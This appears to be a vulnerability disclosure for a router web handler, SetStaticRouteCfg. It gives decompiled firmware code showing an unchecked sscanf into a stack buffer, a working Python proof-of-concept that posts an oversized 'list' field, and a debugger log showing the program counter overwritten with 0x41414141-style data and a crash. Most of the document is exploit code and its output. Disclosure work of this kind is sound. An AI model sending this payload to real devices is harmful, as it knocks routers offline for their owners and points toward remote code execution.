

```
void fromSetRouteStatic(undefined4 param_1)
 5
    undefined4 uVar1;
 6
    char acStack272 [260];
     memset(acStack272,0,0x100);
    uVar1 = FUN_000295c8(param_1,"list",&DAT_001c2cf0);
    FUN_000519b8("adv.staticroute",uVar1,0x7e);
10
    sprintf(acStack272,"advance_type=%d",8);
11
12
    send_msg_to_netctrl(0x15,acStack272);
     FUN_00029750(param_1,
13
14
                  "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Co
                 ntrol: no-cache\n\n"
15
                 );
    FUN_00029750(param_1,"{\"errCode\":%d}",0);
16
    FUN_00029ee0(param_1,200);
17
18
     return;
19 }
20
```

In function FUN_000519b8, the function sscanf is called to split it and copy to stack buffer without checking its length.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"list": b'A'*0x400+b',A,A,A'
}

res = requests.post("http://127.0.0.1/goform/SetStaticRouteCfg", data=data)
print(res.content)
```

```
r: [NEGATIVE zero CARRY overflow interrupt fast THUMB]
0xfffee518 +0x0000:
0xfffee51c +0x0004:
0xfffee520 +0x0008:
0xfffee524 +0x000c:
0xfffee528 +0x0010:
0xfffee52c +0x0014:
0xfffee530 +0x0018:
0xfffee534 +0x001c:
    Cannot disassemble from $PC
    Cannot access memory at address 0x41414140
[#0] Id 1, stopped 0x41414140 in ?? (), reason: SIGSEGV
<mark>gef≻</mark> c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
```